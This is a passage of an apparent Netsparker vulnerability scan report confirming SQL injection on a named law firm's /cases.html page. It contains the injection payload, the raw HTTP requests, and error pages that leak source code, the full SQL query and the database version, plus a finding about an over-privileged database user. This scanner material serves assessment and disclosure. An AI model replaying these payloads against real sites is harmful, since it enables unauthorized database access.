<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 251</b><br />

<blockquote style="font-size : 10;" id="__cp1">
249: &lt;cfelse&gt;<br>250: &lt;cfquery name=&quot;RecordSet&quot; datasource=&quot;#variables.Datasource#&quot;&gt;<br><b>251: #preservesinglequotes(SQLScript)#</b><br>252: &lt;/cfquery&gt;<br>253: &lt;/cfif&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 368<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
366: };<br>367: CompleteSQL = &quot;SELECT #SelectSQL# FROM #TableName# #JoinSQL# WHERE #BaseFilter# #ExtendedFilter# &quot;;<br><b>368: Recordset = executeSQL(CompleteSQL);</b><br>369: &lt;/cfscript&gt;<br>370: &lt;cfreturn Recordset&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 251<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
249: }<br>250: else {<br><b>251: Recordset = variables[ObjectName &amp; &quot;DAO&quot;].getbyProperty(argumentCollection=arguments);</b><br>252: };<br>253: Object.loadQuery(Recordset);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 196<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
194: var Object = &quot;&quot;;<br>195: arguments.PropertyName = IDPropertyName;<br><b>196: Object = getByProperty(ArgumentCollection=Arguments);</b><br>197: &lt;/cfscript&gt;<br>198: &lt;cfreturn Object&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 169<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
167: {<br>168: // The physical method exists, so call it<br><b>169: Response = evaluate(&quot;#MethodName#(argumentCollection=ArgumentStruct)&quot;);</b><br>170: }<br>171: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 197<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
195: // Process any dynamic parameters<br>196: Arguments = evaluateArguments(Arguments, PageRequest);<br><b>197: Response.Data = ServiceClass.Call(Method, Arguments);</b><br>198: Response.Screen = screen;<br>199: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('7');"
name="__btn7"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 205<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp7">
203: };<br>204: // Add any runtime properties passed in via the argument struct<br><b>205: Response = evaluate(&quot;#Properties[&quot;Type&quot;]#(ArgumentCollection=Properties)&quot;);</b><br>206: &lt;/cfscript&gt;<br>207: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('8');"
name="__btn8"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 176<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp8">
174: {<br>175: // The virtual method exists, call that <br><b>176: Response = runMethod(MethodName, ArgumentStruct);</b><br>177: }<br>178: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('9');"
name="__btn9"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 394<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp9">
392: MethodName = Metadata.get(&quot;DefaultAction&quot;);<br>393: }<br><b>394: Response = call(MethodName, ArgumentsStruct);</b><br>395: &lt;/cfscript&gt;<br>396: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('10');"
name="__btn10"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\controller\ContentAreaController.cfc: line 57<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp10">
55: };<br>56: // Call the appropriate feature for this page <br><b>57: Response = variables[PageFeature &amp; &quot;Feature&quot;].callAction(Action, PageRequest); </b><br>58: };<br>59: };<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('11');"
name="__btn11"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11">
70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set(&quot;MainContentArea&quot;, MainContentArea);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('12');"
name="__btn12"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp12">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('13');"
name="__btn13"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp13">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1
at railo.runtime.type.QueryImpl.&lt;init&gt;(QueryImpl.java:218):218
at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580
at railo.runtime.tag.Query.doEndTag(Query.java:434):434
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359
at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738
at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572
at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500
at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760
at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705
at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221
at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662
at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72
at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65
at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%..

Parameters

Parameter Type Value
action GET caseDetail
CaseID GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
print GET 1

Extracted Data

microsoft sql server 2000 - 8.00.2039 (intel x86) may 3 2005 23:18:38 copyright (c) 1988-2003 microsoft corporation standard edition on windows nt 5.2 (build 3790: service pack 2)

Request

GET /cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&print=1 HTTP/1.1
Referer: http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:50 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 22815
Content-Type: text/html; charset=UTF-8


<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (database)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td>
</tr>







<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">SQL</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><br /> SELECT pomlaw_Case.Document5,pomlaw_Case.Document4,pomlaw_Case.Document3,pomlaw_Case.TitleTag,pomlaw_Case.Document10,pomlaw_Case.Document2,pomlaw_Case.Document1,pomlaw_Case.DisplayOrder,pomlaw_Case.ClassStartData,pomlaw_Case.PracticeArea,pomlaw_Case.DescriptionTag,pomlaw_Case.DisplayOn,pomlaw_Case.Tagline,pomlaw_Case.CaseID,pomlaw_Case.StockSymbol,pomlaw_Case.Status,pomlaw_Case.Content,pomlaw_Case.ClassEndData,pomlaw_Case.Document9,pomlaw_Case.Document8,pomlaw_Case.Document7,pomlaw_Case.Thumbnail,pomlaw_Case.Title,pomlaw_Case.Document6 FROM pomlaw_Case WHERE pomlaw_Case.CaseID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' <br /> </td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">8.00.2039</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server 2005 JDBC Driver</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">1.2.2828.100</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Datasource</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">pomlaw</td>
</tr>






<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 251</b><br />

<blockquote style="font-size : 10;" id="__cp1">
249: &lt;cfelse&gt;<br>250: &lt;cfquery name=&quot;RecordSet&quot; datasource=&quot;#variables.Datasource#&quot;&gt;<br><b>251: #preservesinglequotes(SQLScript)#</b><br>252: &lt;/cfquery&gt;<br>253: &lt;/cfif&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 368<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
366: };<br>367: CompleteSQL = &quot;SELECT #SelectSQL# FROM #TableName# #JoinSQL# WHERE #BaseFilter# #ExtendedFilter# &quot;;<br><b>368: Recordset = executeSQL(CompleteSQL);</b><br>369: &lt;/cfscript&gt;<br>370: &lt;cfreturn Recordset&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 251<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
249: }<br>250: else {<br><b>251: Recordset = variables[ObjectName &amp; &quot;DAO&quot;].getbyProperty(argumentCollection=arguments);</b><br>252: };<br>253: Object.loadQuery(Recordset);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 196<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
194: var Object = &quot;&quot;;<br>195: arguments.PropertyName = IDPropertyName;<br><b>196: Object = getByProperty(ArgumentCollection=Arguments);</b><br>197: &lt;/cfscript&gt;<br>198: &lt;cfreturn Object&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 169<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
167: {<br>168: // The physical method exists, so call it<br><b>169: Response = evaluate(&quot;#MethodName#(argumentCollection=ArgumentStruct)&quot;);</b><br>170: }<br>171: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 197<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
195: // Process any dynamic parameters<br>196: Arguments = evaluateArguments(Arguments, PageRequest);<br><b>197: Response.Data = ServiceClass.Call(Method, Arguments);</b><br>198: Response.Screen = screen;<br>199: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('7');"
name="__btn7"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 205<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp7">
203: };<br>204: // Add any runtime properties passed in via the argument struct<br><b>205: Response = evaluate(&quot;#Properties[&quot;Type&quot;]#(ArgumentCollection=Properties)&quot;);</b><br>206: &lt;/cfscript&gt;<br>207: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('8');"
name="__btn8"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 176<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp8">
174: {<br>175: // The virtual method exists, call that <br><b>176: Response = runMethod(MethodName, ArgumentStruct);</b><br>177: }<br>178: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('9');"
name="__btn9"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 394<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp9">
392: MethodName = Metadata.get(&quot;DefaultAction&quot;);<br>393: }<br><b>394: Response = call(MethodName, ArgumentsStruct);</b><br>395: &lt;/cfscript&gt;<br>396: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('10');"
name="__btn10"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\controller\ContentAreaController.cfc: line 57<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp10">
55: };<br>56: // Call the appropriate feature for this page <br><b>57: Response = variables[PageFeature &amp; &quot;Feature&quot;].callAction(Action, PageRequest); </b><br>58: };<br>59: };<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('11');"
name="__btn11"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11">
70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set(&quot;MainContentArea&quot;, MainContentArea);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('12');"
name="__btn12"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp12">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('13');"
name="__btn13"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp13">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1
at railo.runtime.type.QueryImpl.&lt;init&gt;(QueryImpl.java:218):218
at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580
at railo.runtime.tag.Query.doEndTag(Query.java:434):434
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359
at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738
at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572
at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500
at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760
at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705
at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221
at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662
at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72
at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65
at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
Database User Has Admin Privileges

Database User Has Admin Privileges

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%..

Request

GET /cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 22815
Content-Type: text/html; charset=UTF-8


<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (database)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
